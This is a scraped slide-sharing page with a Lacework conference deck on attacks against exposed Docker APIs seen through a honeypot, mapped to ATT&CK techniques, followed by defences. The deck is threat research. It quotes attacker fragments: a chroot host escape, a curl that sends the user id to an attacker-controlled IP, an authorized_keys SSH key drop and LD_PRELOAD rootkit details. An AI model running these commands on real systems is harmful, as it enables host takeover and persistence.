Abstract image of a woman sitting on books and studying on a laptop

ATT&CKING Containers in The Cloud

M
MITRE ATT&CK

The document discusses emerging threats and attack methods targeting container workloads in cloud environments, emphasizing the shift toward such technologies and associated risks. It highlights various attack techniques, including exploitation of misconfigurations and deployment of rogue images, and describes the development and use of honeypots for gathering attack data. Recommendations for securing cloud-native environments include limiting exposure through access controls, enforcing signed container deployments, and implementing proactive defenses like honey tokens.

Technology
1 of 27
Downloaded 120 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ATT&CKing Containers in The Cloud Jared Stroud (@DLL_Cool_J) © 2022, Lacework Inc. All Rights Reserved.
© 2022, Lacework Inc. All Rights Reserved. 2 ● Jared Stroud ● Currently: Cloud Security Researcher @ Lacework ● Former: MITRE Security Engineer ○ ATT&CK EVALS Carbanak/Fin7 ○ CALDERA ● Presented at: ○ SANS Blue Team Summit - Lightning Talk ○ DEFCON - Packet Hacking Village ○ Interpol DFEG ○ Shmoocon - Fire Talk ○ DFRWS - EU ○ BSides Roc $> whoami Lacework Labs is the dedicated research team at Lacework. We decided to build with a focus on areas that we believe are not getting enough attention in the research community specifically around new threats and attack surface risks within the public cloud. Like any good research team, we use a combination of data-driven intelligence creation and our own expertise in the key areas we focus on.
© 2022, Lacework Inc. All Rights Reserved. Agenda 3 The Shift to Container Workloads Honeypots Analyze The Data Container Focused Defenses
© 2022, Lacework Inc. All Rights Reserved. Shifting to Container Workloads ● Enterprise continues to adopt container workloads. ○ This “shift left” mentality provides business advantages to get products to end-users faster. ● Adversaries have noticed, and have targeted misconfigurations around the container ecosystem, including: ○ T1190 - Code repositories CI/CD pipelines ■ Ex: Gitlab ○ T1538 - Cloud Service Dashboards ○ T1552.007 - Exposed APIs for Containers. ● Lacework Labs has observed the introduction of “rogue images” into environments via: ○ T1610 - Deploying a container. ○ T1608 - Stage malicious container on Docker Hub. 4
© 2022, Lacework Inc. All Rights Reserved. Collecting Cloud Attack Data - Honeypots ● Honeypots ○ Emulate a service to a specific level of fidelity so an attacker throws an exploit/payload for collection. ● Consider the level of emulation fidelity you need. ○ Anecdotal example, having a simple netcat listener on port 9200 for Elasticsearch has caught the same payloads as Elasticsearch honeypots that actually do a level of service emulation. ○ Consider the adversary you’re looking to catch data from ■ Opportunistic vs Targeted 5
© 2022, Lacework Inc. All Rights Reserved. Building Whalehoney - A Docker Honeypot ● At the time of architecting our honeypot infrastructure, not many solutions existed for Docker that weren’t heavily tied to a particular database. ● Engineers at Lacework Labs developed a simple Python Flask based application to emulate the Docker API based on the available documentation on the Docker engine. 6
© 2022, Lacework Inc. All Rights Reserved. Quick Whalehoney Stats ● 244 unique payloads targeting the “api_container_create” endpoint ○ 24 payloads setting “privileged:true” ● 3 external SAAS services observed being used in attacks ● Docker Hub, Ngrok, Weaveworks’ Scope ○ Ngrok being leveraged in 146 payloads. 7
© 2022, Lacework Inc. All Rights Reserved. Typical Observed Execution Killchain 8
© 2022, Lacework Inc. All Rights Reserved. Deploy Container (T1610) & Escape to Host (T1611) ● Deploy container: achieved via exposed API ● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting 9
T1611 - From Container → Host Pivot mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload T1059.004 - Post-compromise Payloads - Shell Script Dropper
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
© 2022, Lacework Inc. All Rights Reserved. Notable Execution of Initial Payload (cronb.sh) ● ~1500 line bash script (T1059.004) to deploy additional utilities including: ● Kill potential cryptocurrency miners on host. ● Deploys their own XMRig Cryptocurrency miner ● Observed TTPs: ○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring agent (T1562.001) ○ Deploys SSH key for continued access (T1098.004) ○ Deploys .so’s for LD_PRELOAD attacks (T1574.006) ○ Deploys Diamorphine Rootkit for hiding access (T1014) ○ Naming ELF payloads to <file_name>.jpg when downloading (T1036) ● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot) ● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id) 13
https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c Ghidra Pseudo C of Shared Objects grabbed by Docker bash script ● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking ○ Used for persistence/defense evasion ● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in ld.so.preload. Notable Execution of Initial Payload (cronb.sh)
● Rootkit (T1014) Features include: ● When loaded, the module starts invisible. ● Hide/unhide any process by sending a signal 31. ● Sending a signal 63(to any pid) makes the module become (in)visible. ● Sending a signal 64(to any pid) makes the given user become root. ● Files or directories starting with the MAGIC_PREFIX become invisible. ● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged. https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h diamorphine.h from attacker’s payload Defense Evasion/Persistence - Diamorphine Rootkit
echo ssh key to /root/.ssh/authorized_keys Exposed API Port (2375) Attacker’s payload ● cmd": ["sh", "-c", "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6 VAjM6i8AAUtpl15<snippet>' >> /opt/root/.ssh/authorized_keys] T1189 - Drive by Compromise (SSH Key Dropping)
… "cmd":["--probe.docker=true","--service-token=<REDACTED>"], "Image":"weaveworks/scope:1.13.2" …. T1133 - External Remote Services (Weaveworks Scope)
● Lacework Labs has observed multiple adversaries leveraging Docker Hub as a staging ground. T1608 - Staging Capabilities (Docker Hub)
● Ngrok - legitimate utility for proxying local connections to public facing services (T1090). ○ Target users are developers that want to expose something locally on the internet. ○ Think of it as reverse ssh tunnels-as-a-service ● How adversaries abuse it: ○ Hosting payloads behind ngrok. ■ Free tier/paid tiers exist. ○ Avoids having to setup infrastructure beyond a VM. T1608 - Staging Capabilities (T1608) Ngrok
mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Stopping The Compromise! Don’t expose the Docker Socket!
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Docker Content Trust (DCT) ● Leverage Docker Content Trust (DCT) to enforce digital signatures for runtime verification of images in your environment. ○ Prevent non-signed images from running. ○ Caveat, DCT is enabled/disabled via an environment variable. ● Docker Notary ○ Built around The Update Framework ● Does introduce additional management overhead of handling signing keys/revocations/etc… Reference: https://docs.docker.com/engine/security/trust/ 21
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Securing Kubernetes Deployments ● Prevent accidental exposure of management dashboards! ○ Including 3rd party integrations (Argo/Gitlab/etc…) ● Open Policy Agent (OPA) Enforcement! ○ Admission controller to prevent privileged pods or unnecessary capabilities being paired with deployments in given namespaces. ○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment. ● Deploy Signed Containers ○ GCP’s GKE - Binary Authorization ■ Ensure deployed workloads have been signed. ○ AWS EKS Image signing is on their road map according to documentation ■ https://aws.github.io/aws-eks-best-practices/security/docs/image/ 22
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Exploring Runtime Protection Options ● Profile and limit syscalls you application makes! ○ Runtime syscall allow-listing via seccomp ● Can be tricky to tune, but greatly reduces surface in the event of an application compromise. Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/ 23
© 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Honey Tokens in Cloud Native Environments ● What about non-opportunistic attackers? ○ Targeting resource specific services ○ Ex: Managed DBs, Container Registries, etc… ● Proactive Defenses via “honey tokens” around specific cloud native resources ○ Ex: Container Registry with beta-database-secrets- test Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws 24
Docker Honeypot - Whalehoney https://www.github.com/lacework-dev/whalehoney-PUBLIC Tool Release! Whalehoney, simple API emulation
© 2022, Lacework Inc. All Rights Reserved. 26 Recap Observed ATT&CKs T1610/T1611 - Deploy containers and escape to host. T1059.004 - Post-compromise payloads (Shell Script) T1562.001 - Impairing Defenses T1098.004 - Deploying ssh keys for persistence T1574.006/T10014 - LD_Preload/KOs for hijacking execution flow Defending In the Cloud Limit attack surface exposure (ingress/egress ACLs) Enforce signed container image deployments Implement Security Policies to API call Possibilities OPA for security policy enforcement of Kubernetes Proactive Defense via Honey Tokens
Thank you. IF YOU HAVE QUESTIONS, PLEASE GET IN TOUCH WITH laceworklabs@lacework.com © 2022, Lacework Inc. All Rights Reserved.

More Related Content

PDF
Threat Modelling - It's not just for developers
MITRE ATT&CK
 
PDF
Mapping ATT&CK Techniques to ENGAGE Activities
MITRE ATT&CK
 
PDF
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
MITRE ATT&CK
 
PDF
When Insiders ATT&CK!
MITRE ATT&CK
 
PDF
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
MITRE ATT&CK
 
PDF
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
MITRE ATT&CK
 
PDF
Knowledge for the masses: Storytelling with ATT&CK
MITRE ATT&CK
 
PDF
ATT&CK Updates- Defensive ATT&CK
MITRE ATT&CK
 
Threat Modelling - It's not just for developers
MITRE ATT&CK
 
Mapping ATT&CK Techniques to ENGAGE Activities
MITRE ATT&CK
 
Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly ...
MITRE ATT&CK
 
When Insiders ATT&CK!
MITRE ATT&CK
 
What is ATT&CK coverage, anyway? Breadth and depth analysis with Atomic Red Team
MITRE ATT&CK
 
Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK
MITRE ATT&CK
 
Knowledge for the masses: Storytelling with ATT&CK
MITRE ATT&CK
 
ATT&CK Updates- Defensive ATT&CK
MITRE ATT&CK
 

What's hot (20)

PDF
State of the ATT&CK
MITRE ATT&CK
 
PDF
It's just a jump to the left (of boom): Prioritizing detection implementation...
MITRE ATT&CK
 
PDF
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
MITRE ATT&CK
 
PDF
ATT&CKcon Intro
MITRE ATT&CK
 
PDF
Exploring how Students Map Social Engineering Techniques to the ATT&CK Framew...
MITRE ATT&CK
 
PDF
Landing on Jupyter: The transformative power of data-driven storytelling for ...
MITRE ATT&CK
 
PDF
ATT&CK Updates- ATT&CK for ICS
MITRE ATT&CK
 
PDF
ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK
MITRE ATT&CK
 
PDF
The ATT&CK Philharmonic
MITRE ATT&CK
 
PDF
Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn Fro...
MITRE ATT&CK
 
PDF
Projects to Impact- Operationalizing Work from the Center
MITRE ATT&CK
 
PDF
ATT&CK Updates- ATT&CK for mac/Linux
MITRE ATT&CK
 
PDF
ATTACKers Think in Graphs: Building Graphs for Threat Intelligence
MITRE - ATT&CKcon
 
PDF
ATT&CK Updates- ATT&CK's Open Source
MITRE ATT&CK
 
PDF
The ATT&CK Latin American APT Playbook
MITRE ATT&CK
 
PDF
Automating the mundanity of technique IDs with ATT&CK Detections Collector
MITRE ATT&CK
 
PDF
ATT&CK Updates- Campaigns
MITRE ATT&CK
 
PDF
Adversary Emulation and Red Team Exercises - EDUCAUSE
Jorge Orchilles
 
PDF
Threat Intelligence 101 - Steve Lodin - Submitted
Steve Lodin
 
PDF
Introduction to MITRE ATT&CK
Arpan Raval
 
State of the ATT&CK
MITRE ATT&CK
 
It's just a jump to the left (of boom): Prioritizing detection implementation...
MITRE ATT&CK
 
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
MITRE ATT&CK
 
ATT&CKcon Intro
MITRE ATT&CK
 
Exploring how Students Map Social Engineering Techniques to the ATT&CK Framew...
MITRE ATT&CK
 
Landing on Jupyter: The transformative power of data-driven storytelling for ...
MITRE ATT&CK
 
ATT&CK Updates- ATT&CK for ICS
MITRE ATT&CK
 
ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK
MITRE ATT&CK
 
The ATT&CK Philharmonic
MITRE ATT&CK
 
Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn Fro...
MITRE ATT&CK
 
Projects to Impact- Operationalizing Work from the Center
MITRE ATT&CK
 
ATT&CK Updates- ATT&CK for mac/Linux
MITRE ATT&CK
 
ATTACKers Think in Graphs: Building Graphs for Threat Intelligence
MITRE - ATT&CKcon
 
ATT&CK Updates- ATT&CK's Open Source
MITRE ATT&CK
 
The ATT&CK Latin American APT Playbook
MITRE ATT&CK
 
Automating the mundanity of technique IDs with ATT&CK Detections Collector
MITRE ATT&CK
 
ATT&CK Updates- Campaigns
MITRE ATT&CK
 
Adversary Emulation and Red Team Exercises - EDUCAUSE
Jorge Orchilles
 
Threat Intelligence 101 - Steve Lodin - Submitted
Steve Lodin
 
Introduction to MITRE ATT&CK
Arpan Raval
 
Ad

Similar to ATT&CKING Containers in The Cloud (20)

PDF
Security Patterns for Microservice Architectures - SpringOne 2020
Matt Raible
 
PDF
Security Patterns for Microservice Architectures
VMware Tanzu
 
PDF
Top 10 Threats to Cloud Security
SBWebinars
 
PDF
Security Patterns for Microservice Architectures - Oktane20
Matt Raible
 
PDF
Security Patterns for Microservice Architectures - London Java Community 2020
Matt Raible
 
PDF
The Future of Security and Productivity in Our Newly Remote World
DevOps.com
 
PPTX
Docker Security Overview
Sreenivas Makam
 
PDF
DevSecOps Meetup - Secure your Containers (kubernetes, docker, amazon ECS)Con...
raksac
 
PDF
How Secure Is Your Container? ContainerCon Berlin 2016
Phil Estes
 
PDF
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Matt Raible
 
PDF
Containers At-Risk A Review of 21,000 Cloud Environments
Lacework
 
PDF
Containers at risk a review of 21,000 cloud environments
dhubbard858
 
PDF
5GCroCo_DockerSecurityBasics_Training.pdf
MaghsoudAbbasPour1
 
PDF
How abusing the Docker API led to remote code execution same origin bypass an...
Aqua Security
 
PDF
Docker security: Rolling out Trust in your container
Ronak Kogta
 
PDF
Containers, docker, and security: state of the union (Bay Area Infracoders Me...
Jérôme Petazzoni
 
PDF
Hacking into your containers, and how to stop it!
Eric Smalling
 
PDF
Docker London: Container Security
Phil Estes
 
PDF
Veer's Container Security
Jim Barlow
 
PDF
DevSecCon Lightning 2021- Container defaults are a hackers best friend
Eric Smalling
 
Security Patterns for Microservice Architectures - SpringOne 2020
Matt Raible
 
Security Patterns for Microservice Architectures
VMware Tanzu
 
Top 10 Threats to Cloud Security
SBWebinars
 
Security Patterns for Microservice Architectures - Oktane20
Matt Raible
 
Security Patterns for Microservice Architectures - London Java Community 2020
Matt Raible
 
The Future of Security and Productivity in Our Newly Remote World
DevOps.com
 
Docker Security Overview
Sreenivas Makam
 
DevSecOps Meetup - Secure your Containers (kubernetes, docker, amazon ECS)Con...
raksac
 
How Secure Is Your Container? ContainerCon Berlin 2016
Phil Estes
 
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Matt Raible
 
Containers At-Risk A Review of 21,000 Cloud Environments
Lacework
 
Containers at risk a review of 21,000 cloud environments
dhubbard858
 
5GCroCo_DockerSecurityBasics_Training.pdf
MaghsoudAbbasPour1
 
How abusing the Docker API led to remote code execution same origin bypass an...
Aqua Security
 
Docker security: Rolling out Trust in your container
Ronak Kogta
 
Containers, docker, and security: state of the union (Bay Area Infracoders Me...
Jérôme Petazzoni
 
Hacking into your containers, and how to stop it!
Eric Smalling
 
Docker London: Container Security
Phil Estes
 
Veer's Container Security
Jim Barlow
 
DevSecCon Lightning 2021- Container defaults are a hackers best friend
Eric Smalling
 
Ad

More from MITRE ATT&CK (20)

PDF
Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents - Rajesh ...
MITRE ATT&CK
 
PDF
Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysi...
MITRE ATT&CK
 
PDF
Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resil...
MITRE ATT&CK
 
PDF
Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, a...
MITRE ATT&CK
 
PDF
SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry - Aaron Shelmire
MITRE ATT&CK
 
PDF
I'll take ATT&CK techniques that can be done for $1000, Alex. - Ben Langrill
MITRE ATT&CK
 
PDF
Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Enviro...
MITRE ATT&CK
 
PDF
This is why we don’t shout “Bingo”: Analyzing ATT&CK Integration in Endpoint ...
MITRE ATT&CK
 
PDF
Every Cloud Has a Purple Lining - Arun Seelagan
MITRE ATT&CK
 
PDF
Confession: 3 Things I Wish I Knew About MITRE ATT&CK When I Was an FBI Profi...
MITRE ATT&CK
 
PDF
ATT&CKcon 5.0 Keynote - From Ticket Closers to Practitioners- How Great Secu...
MITRE ATT&CK
 
PDF
ATT&CKcon 5.0 Lightning Talks - Various Speakers
MITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Defensive ATT&CK - Lex Crumpton
MITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Enterprise - Casey Knerr
MITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: CTI - Path Forward - Joe Slowik
MITRE ATT&CK
 
PDF
MITRE ATT&CK Updates: Software - Jared Ondricek
MITRE ATT&CK
 
PDF
State of the ATT&CK 2024 - Adam Pennington
MITRE ATT&CK
 
PDF
Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK - Robert...
MITRE ATT&CK
 
PDF
Updates from The Center for Threat Informed Defense - Jon Baker
MITRE ATT&CK
 
PDF
Go Go Ransom Rangers: Diving into Akira’s Linux Variant with ATT&CK - Nicole ...
MITRE ATT&CK
 
Next-Gen Threat-Informed Defense: Human-Assisted Intelligent Agents - Rajesh ...
MITRE ATT&CK
 
Birds of a Feather: The Evolution of Threat Actor Prioritization, Gap Analysi...
MITRE ATT&CK
 
Using ATT&CK and MITRE CTID’s StP Frameworks to Assess Threat Detection Resil...
MITRE ATT&CK
 
Bridging the Gap: Enhancing Detection Coverage with Atomic Red Team, Sigma, a...
MITRE ATT&CK
 
SaaSy ATT&CK – Practical ATT&CK usage for SaaS-based Telemetry - Aaron Shelmire
MITRE ATT&CK
 
I'll take ATT&CK techniques that can be done for $1000, Alex. - Ben Langrill
MITRE ATT&CK
 
Practical Application of MITRE ATT&CK: Real World Usage in a Corporate Enviro...
MITRE ATT&CK
 
This is why we don’t shout “Bingo”: Analyzing ATT&CK Integration in Endpoint ...
MITRE ATT&CK
 
Every Cloud Has a Purple Lining - Arun Seelagan
MITRE ATT&CK
 
Confession: 3 Things I Wish I Knew About MITRE ATT&CK When I Was an FBI Profi...
MITRE ATT&CK
 
ATT&CKcon 5.0 Keynote - From Ticket Closers to Practitioners- How Great Secu...
MITRE ATT&CK
 
ATT&CKcon 5.0 Lightning Talks - Various Speakers
MITRE ATT&CK
 
MITRE ATT&CK Updates: Defensive ATT&CK - Lex Crumpton
MITRE ATT&CK
 
MITRE ATT&CK Updates: Enterprise - Casey Knerr
MITRE ATT&CK
 
MITRE ATT&CK Updates: CTI - Path Forward - Joe Slowik
MITRE ATT&CK
 
MITRE ATT&CK Updates: Software - Jared Ondricek
MITRE ATT&CK
 
State of the ATT&CK 2024 - Adam Pennington
MITRE ATT&CK
 
Sources of ATT&CK: A Bibliographic Journey through Enterprise ATT&CK - Robert...
MITRE ATT&CK
 
Updates from The Center for Threat Informed Defense - Jon Baker
MITRE ATT&CK
 
Go Go Ransom Rangers: Diving into Akira’s Linux Variant with ATT&CK - Nicole ...
MITRE ATT&CK
 

Recently uploaded (20)

PPTX
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
ThousandEyes
 
PDF
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
Kalilur Rahman
 
PDF
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
PPTX
Custom Battery Pack Design Considerations for Performance and Safety
Epec Engineered Technologies
 
PPTX
MuleSoft-Compete-Deck for midddleware integrations
zupittejas
 
PDF
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
PDF
sbt 2.0: go big (Scala Days 2025 edition)
Eugene Yokota
 
PDF
Lung cancer patients survival prediction using outlier detection and optimize...
IAESIJAI
 
PDF
Transform-Quality-Engineering-with-AI-A-60-Day-Blueprint-for-Digital-Success.pdf
Kalilur Rahman
 
PDF
Convolutional neural network based encoder-decoder for efficient real-time ob...
IAESIJAI
 
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
IAESIJAI
 
PPT
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
Melanie Swan
 
PDF
Improvisation in detection of pomegranate leaf disease using transfer learni...
IAESIJAI
 
PPTX
Build Your First AI Agent with UiPath.pptx
suhanisingh58689
 
PDF
Comparative analysis of machine learning models for fake news detection in so...
IAESIJAI
 
PDF
Data Virtualization in Action: Scaling APIs and Apps with FME
Safe Software
 
PDF
sustainability-14-14877-v2.pddhzftheheeeee
VenkateshGovindaraja9
 
PPTX
future_of_ai_comprehensive_20250822032121.pptx
forrandomuse090
 
PPTX
Configure Apache Mutual Authentication
Antonino Piraino
 
PDF
Statistics on Ai - sourced from AIPRM.pdf
AmelynLeeMeira
 
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
ThousandEyes
 
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
Kalilur Rahman
 
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
Custom Battery Pack Design Considerations for Performance and Safety
Epec Engineered Technologies
 
MuleSoft-Compete-Deck for midddleware integrations
zupittejas
 
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
Kalilur Rahman
 
sbt 2.0: go big (Scala Days 2025 edition)
Eugene Yokota
 
Lung cancer patients survival prediction using outlier detection and optimize...
IAESIJAI
 
Transform-Quality-Engineering-with-AI-A-60-Day-Blueprint-for-Digital-Success.pdf
Kalilur Rahman
 
Convolutional neural network based encoder-decoder for efficient real-time ob...
IAESIJAI
 
Early detection and classification of bone marrow changes in lumbar vertebrae...
IAESIJAI
 
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
Melanie Swan
 
Improvisation in detection of pomegranate leaf disease using transfer learni...
IAESIJAI
 
Build Your First AI Agent with UiPath.pptx
suhanisingh58689
 
Comparative analysis of machine learning models for fake news detection in so...
IAESIJAI
 
Data Virtualization in Action: Scaling APIs and Apps with FME
Safe Software
 
sustainability-14-14877-v2.pddhzftheheeeee
VenkateshGovindaraja9
 
future_of_ai_comprehensive_20250822032121.pptx
forrandomuse090
 
Configure Apache Mutual Authentication
Antonino Piraino
 
Statistics on Ai - sourced from AIPRM.pdf
AmelynLeeMeira
 

ATT&CKING Containers in The Cloud

  • 1. ATT&CKing Containers in The Cloud Jared Stroud (@DLL_Cool_J) © 2022, Lacework Inc. All Rights Reserved.
  • 2. © 2022, Lacework Inc. All Rights Reserved. 2 ● Jared Stroud ● Currently: Cloud Security Researcher @ Lacework ● Former: MITRE Security Engineer ○ ATT&CK EVALS Carbanak/Fin7 ○ CALDERA ● Presented at: ○ SANS Blue Team Summit - Lightning Talk ○ DEFCON - Packet Hacking Village ○ Interpol DFEG ○ Shmoocon - Fire Talk ○ DFRWS - EU ○ BSides Roc $> whoami Lacework Labs is the dedicated research team at Lacework. We decided to build with a focus on areas that we believe are not getting enough attention in the research community specifically around new threats and attack surface risks within the public cloud. Like any good research team, we use a combination of data-driven intelligence creation and our own expertise in the key areas we focus on.
  • 3. © 2022, Lacework Inc. All Rights Reserved. Agenda 3 The Shift to Container Workloads Honeypots Analyze The Data Container Focused Defenses
  • 4. © 2022, Lacework Inc. All Rights Reserved. Shifting to Container Workloads ● Enterprise continues to adopt container workloads. ○ This “shift left” mentality provides business advantages to get products to end-users faster. ● Adversaries have noticed, and have targeted misconfigurations around the container ecosystem, including: ○ T1190 - Code repositories CI/CD pipelines ■ Ex: Gitlab ○ T1538 - Cloud Service Dashboards ○ T1552.007 - Exposed APIs for Containers. ● Lacework Labs has observed the introduction of “rogue images” into environments via: ○ T1610 - Deploying a container. ○ T1608 - Stage malicious container on Docker Hub. 4
  • 5. © 2022, Lacework Inc. All Rights Reserved. Collecting Cloud Attack Data - Honeypots ● Honeypots ○ Emulate a service to a specific level of fidelity so an attacker throws an exploit/payload for collection. ● Consider the level of emulation fidelity you need. ○ Anecdotal example, having a simple netcat listener on port 9200 for Elasticsearch has caught the same payloads as Elasticsearch honeypots that actually do a level of service emulation. ○ Consider the adversary you’re looking to catch data from ■ Opportunistic vs Targeted 5
  • 6. © 2022, Lacework Inc. All Rights Reserved. Building Whalehoney - A Docker Honeypot ● At the time of architecting our honeypot infrastructure, not many solutions existed for Docker that weren’t heavily tied to a particular database. ● Engineers at Lacework Labs developed a simple Python Flask based application to emulate the Docker API based on the available documentation on the Docker engine. 6
  • 7. © 2022, Lacework Inc. All Rights Reserved. Quick Whalehoney Stats ● 244 unique payloads targeting the “api_container_create” endpoint ○ 24 payloads setting “privileged:true” ● 3 external SAAS services observed being used in attacks ● Docker Hub, Ngrok, Weaveworks’ Scope ○ Ngrok being leveraged in 146 payloads. 7
  • 9. © 2022, Lacework Inc. All Rights Reserved. Deploy Container (T1610) & Escape to Host (T1611) ● Deploy container: achieved via exposed API ● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting 9
  • 10. T1611 - From Container → Host Pivot mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload
  • 11. mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload T1059.004 - Post-compromise Payloads - Shell Script Dropper
  • 12. mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
  • 13. © 2022, Lacework Inc. All Rights Reserved. Notable Execution of Initial Payload (cronb.sh) ● ~1500 line bash script (T1059.004) to deploy additional utilities including: ● Kill potential cryptocurrency miners on host. ● Deploys their own XMRig Cryptocurrency miner ● Observed TTPs: ○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring agent (T1562.001) ○ Deploys SSH key for continued access (T1098.004) ○ Deploys .so’s for LD_PRELOAD attacks (T1574.006) ○ Deploys Diamorphine Rootkit for hiding access (T1014) ○ Naming ELF payloads to <file_name>.jpg when downloading (T1036) ● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot) ● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id) 13
  • 14. https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c Ghidra Pseudo C of Shared Objects grabbed by Docker bash script ● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking ○ Used for persistence/defense evasion ● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in ld.so.preload. Notable Execution of Initial Payload (cronb.sh)
  • 15. ● Rootkit (T1014) Features include: ● When loaded, the module starts invisible. ● Hide/unhide any process by sending a signal 31. ● Sending a signal 63(to any pid) makes the module become (in)visible. ● Sending a signal 64(to any pid) makes the given user become root. ● Files or directories starting with the MAGIC_PREFIX become invisible. ● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged. https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h diamorphine.h from attacker’s payload Defense Evasion/Persistence - Diamorphine Rootkit
  • 16. echo ssh key to /root/.ssh/authorized_keys Exposed API Port (2375) Attacker’s payload ● cmd": ["sh", "-c", "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6 VAjM6i8AAUtpl15<snippet>' >> /opt/root/.ssh/authorized_keys] T1189 - Drive by Compromise (SSH Key Dropping)
  • 18. ● Lacework Labs has observed multiple adversaries leveraging Docker Hub as a staging ground. T1608 - Staging Capabilities (Docker Hub)
  • 19. ● Ngrok - legitimate utility for proxying local connections to public facing services (T1090). ○ Target users are developers that want to expose something locally on the internet. ○ Think of it as reverse ssh tunnels-as-a-service ● How adversaries abuse it: ○ Hosting payloads behind ngrok. ■ Free tier/paid tiers exist. ○ Avoids having to setup infrastructure beyond a VM. T1608 - Staging Capabilities (T1608) Ngrok
  • 20. mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload Stopping The Compromise! Don’t expose the Docker Socket!
  • 21. © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Docker Content Trust (DCT) ● Leverage Docker Content Trust (DCT) to enforce digital signatures for runtime verification of images in your environment. ○ Prevent non-signed images from running. ○ Caveat, DCT is enabled/disabled via an environment variable. ● Docker Notary ○ Built around The Update Framework ● Does introduce additional management overhead of handling signing keys/revocations/etc… Reference: https://docs.docker.com/engine/security/trust/ 21
